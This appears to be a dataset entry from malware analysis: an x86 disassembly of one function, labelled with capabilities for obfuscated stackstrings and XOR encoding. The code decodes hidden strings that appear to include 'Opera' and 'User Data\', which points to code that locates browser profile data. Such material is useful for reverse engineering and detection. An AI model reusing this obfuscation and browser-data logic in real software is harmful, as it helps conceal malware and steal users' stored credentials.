Function at 0x40297e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
xor eax, eax
mov dword [ebp - 7], 0x6a755425
push esi
push edi
lea edi, [ebp - 0x7c]
mov word [ebp - 3], 0x6677
stosd dword es:[edi], eax
xor edx, edx
mov ebx, ecx
mov byte [ebp - 1], dl
mov ecx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, 0x25
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], dl
movsx eax, al
and eax, 0x8000000f
jns 0x4029c7
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 6], al
inc ecx
cmp ecx, 5
jae 0x4029d6
mov al, byte [ebp - 7]
jmp 0x4029b8
push edx
lea eax, [ebp - 6]
mov byte [ebp - 1], dl
push eax
mov ecx, ebx
call fcn.00403dff
xor edx, edx
mov ecx, edx
cmp eax, 0xffffffff
je 0x402a5d
mov al, 0x3d
mov dword [ebp - 0xe], 0x7c59693d
mov dword [ebp - 0xa], 0x2d796e70
mov dword [ebp - 6], 0x816e8160
mov word [ebp - 2], 0x72
movsx eax, al
and eax, 0x8000000f
jns 0x402a1a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xc
jae 0x402a29
mov al, byte [ebp - 0xe]
jmp 0x402a0b
mov cl, 0x22
mov byte [ebp - 1], dl
mov al, 0x7e
mov byte [ebp - 0x1b], cl
xor al, cl
mov byte [ebp - 0x19], dl
mov byte [ebp - 0x1a], al
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, ebx
call fcn.00403d6d
push eax
push 0
lea eax, [ebp - 0x64]
mov ecx, ebx
push eax
call fcn.00403d20
lea ecx, [ebp - 0xd]
jmp 0x402aec
movaps xmm0, xmmword [0x41b480]
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0x6e81602d
mov word [ebp - 0x1f], 0x7281
mov byte [ebp - 0x1d], dl
movsx eax, byte [ebp - 0x33]
and eax, 0x8000000f
jns 0x402a88
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0x15
jb 0x402a78
mov byte [ebp - 0x1d], dl
mov al, 0x70
mov dword [ebp - 0xc], 0x65735570
mov ecx, edx
mov dword [ebp - 8], 0x61442072
mov dword [ebp - 4], 0x5c6174
movsx eax, al
and eax, 0x8000000f
jns 0x402abd
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 0xa
jae 0x402acc
mov al, byte [ebp - 0xc]
jmp 0x402aae
push edx
lea eax, [ebp - 0xb]
mov byte [ebp - 1], dl
push eax
mov ecx, ebx
call fcn.00403dff
push eax
push 0
lea eax, [ebp - 0x64]
mov ecx, ebx
push eax
call fcn.00403d20
lea ecx, [ebp - 0x32]
push ecx
mov edx, eax
lea ecx, [ebp - 0x94]
call fcn.00404203
pop ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.00403e31
lea ecx, [ebp - 0x94]
call fcn.00401a42
lea ecx, [ebp - 0x64]
call fcn.00401a42
xor eax, eax
lea edi, [ebp - 0x4c]
stosd dword es:[edi], eax
sub esp, 0x18
mov ecx, esp
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x7c]
and dword [ebp - 0x3c], 0
push eax
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
call fcn.004025ee
lea ecx, [ebp - 0x4c]
call fcn.0041444b
add esp, 0x18
cmp dword [ebp - 0x3c], 0
je 0x402d5f
movaps xmm0, xmmword [0x41b0e0]
xor edx, edx
movups xmmword [ebp - 0x13], xmm0
mov word [ebp - 3], 0x2f47
mov ecx, edx
mov byte [ebp - 1], dl
movsx eax, byte [ebp - 0x13]
and eax, 0x8000000f
jns 0x402b7a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x12], al
inc ecx
cmp ecx, 0x11
jb 0x402b6a
push edx
lea eax, [ebp - 0x12]
mov byte [ebp - 1], dl
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403dff
movaps xmm0, xmmword [0x41b030]
xor edx, edx
mov esi, eax
mov dword [ebp - 0x23], 0x1b191f10
movups xmmword [ebp - 0x33], xmm0
mov word [ebp - 0x1f], 0x5c0c
mov ecx, edx
mov byte [ebp - 0x1d], dl
mov al, byte [ebp - 0x33]
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0x15
jb 0x402bb5
push edx
lea eax, [ebp - 0x32]
mov byte [ebp - 0x1d], dl
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403dff
cmp esi, 0xffffffff
je 0x402d5f
cmp eax, 0xffffffff
jne 0x402c22
movaps xmm0, xmmword [str.vT_vZT]
xor edx, edx
movups xmmword [ebp - 0x16], xmm0
mov dword [ebp - 6], 0x2181302
mov ecx, edx
mov word [ebp - 2], 0x54
mov al, byte [ebp - 0x16]
xor byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 0x14
jb 0x402bfc
push edx
lea eax, [ebp - 0x15]
mov byte [ebp - 1], dl
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403dff
cmp eax, 0xffffffff
je 0x402d5f
sub eax, esi
lea ecx, [ebp - 0x4c]
push eax
push esi
lea eax, [ebp - 0x64]
push eax
call fcn.00403d20
cmp dword [ebp - 0x54], 0
je 0x402d57
movaps xmm0, xmmword [0x41b110]
xor edx, edx
movups xmmword [ebp - 0x13], xmm0
mov word [ebp - 3], 0x3129
mov ecx, edx
mov byte [ebp - 1], dl
mov al, byte [ebp - 0x13]
xor byte [ebp + ecx - 0x12], al
inc ecx
cmp ecx, 0x11
jb 0x402c54
push edx
lea eax, [ebp - 0x12]
mov byte [ebp - 1], dl
push eax
lea ecx, [ebp - 0x64]
call fcn.00403dff
push 0
push ecx
push 0x11
push eax
lea ecx, [ebp - 0x64]
call fcn.00403f3a
push eax
lea ecx, [ebp - 0x94]
call fcn.004025ee
sub esp, 0x18
lea eax, [ebp - 0x94]
mov ecx, esp
push eax
call fcn.004025ee
lea ecx, [ebp - 0xac]
call fcn.00401782
add esp, 0x18
cmp dword [ebp - 0x9c], 0
je 0x402d41
xor edx, edx
mov dword [ebp - 7], 0x4e5f4b0f
mov cl, 0xf
mov word [ebp - 3], 0x465f
mov byte [ebp - 1], dl
mov eax, edx
xor byte [ebp + eax - 6], cl
inc eax
cmp eax, 5
jae 0x402cdc
mov cl, byte [ebp - 7]
jmp 0x402ccd
push edx
lea eax, [ebp - 6]
mov byte [ebp - 1], dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00403dff
push 0
push ecx
push 5
push eax
lea ecx, [ebp - 0xac]
call fcn.00403f3a
push eax
lea ecx, [ebp - 0x34]
call fcn.004025ee
cmp dword [ebp - 0x24], 0
je 0x402d39
sub esp, 0x18
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.004025ee
lea ecx, [ebp - 0x18]
call fcn.0041452d
add esp, 0x18
lea ecx, [ebx + 0x30]
push eax
call fcn.00403e31
lea ecx, [ebp - 0x18]
call fcn.00401a42
lea ecx, [ebp - 0x34]
call fcn.00401a42
lea ecx, [ebp - 0xac]
call fcn.00401a42
lea ecx, [ebp - 0x94]
call fcn.00401a42
lea ecx, [ebp - 0x64]
call fcn.00401a42
mov edx, dword [ebp - 0x38]
push 0xf
pop ebx
cmp edx, ebx
jbe 0x402d72
mov ecx, dword [ebp - 0x4c]
inc edx
call fcn.00401bbe
and dword [ebp - 0x3c], 0
mov edx, dword [ebp - 0x68]
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x4c], 0
cmp edx, ebx
jbe 0x402d8d
mov ecx, dword [ebp - 0x7c]
inc edx
call fcn.00401bbe
pop edi
pop esi
pop ebx
leave
ret